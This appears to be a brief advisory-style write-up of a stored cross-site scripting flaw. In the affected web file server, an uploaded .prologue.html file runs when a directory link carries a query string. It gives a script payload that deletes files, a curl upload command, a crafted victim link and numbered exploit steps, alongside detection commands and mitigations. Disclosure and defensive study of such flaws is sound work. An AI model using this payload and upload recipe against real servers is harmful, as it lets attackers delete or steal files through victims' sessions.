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The vulnerability allows an authenticated attacker with both read and write permissions to upload a malicious file named .prologue.html. When a victim visits a crafted link to the directory containing this file with a trailing query parameter (e.g., https://example.com/foo/?b`), the server unexpectedly evaluates the `.prologue.html` file, causing the embedded JavaScript to execute. While clicking directly on the file itself (https://example.com/foo/.prologue.html`) is intended behavior, the query-triggered execution is not. Strict SameSite cookies provide partial mitigation, requiring the malicious link to be clicked from a page hosted on the same server, often necessitating additional access to edit a resource. The attack requires user interaction, as the victim must click the specific crafted link. Successful exploitation allows the attacker’s JavaScript to move, delete, or upload files using the victim’s authenticated session.
Platform: Web Application Server
Version: Unspecified
Vulnerability: Stored XSS
Severity: Medium
date: 2026-03-12
Prediction: Patch expected soon
What Undercode Say:
Create malicious .prologue.html file
echo '<script>fetch("/api/files", {method: "DELETE", body: "target.txt"})</script>' > .prologue.html
Upload file to server (requires write permissions)
curl -X PUT -T .prologue.html https://target.com/uploads/.prologue.html
Craft malicious link for victim
echo "https://target.com/uploads/?b"
Check for existing .prologue.html files on server
find /var/www -name ".prologue.html" -type f 2>/dev/null
Monitor access logs for query parameter exploitation
tail -f /var/log/nginx/access.log | grep "?b"
Test if server evaluates hidden files with query strings
curl -I "https://target.com/uploads/?test"
How Exploit:
1. Upload `.prologue.html` with malicious JavaScript
- Send victim link `https://target.com/uploads/?b`
3. Victim clicks link executing JavaScript
4. JavaScript performs file operations via victim’s session
Protection from this CVE:
Disable query evaluation for directories. Sanitize filename uploads. Implement strict CSP headers. Require explicit file access without query triggers.
Impact:
Arbitrary file manipulation using victim’s privileges. Data deletion or exfiltration. Unauthorized file uploads within authenticated context.
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Sources:
Reported By: github.com
Extra Source Hub:
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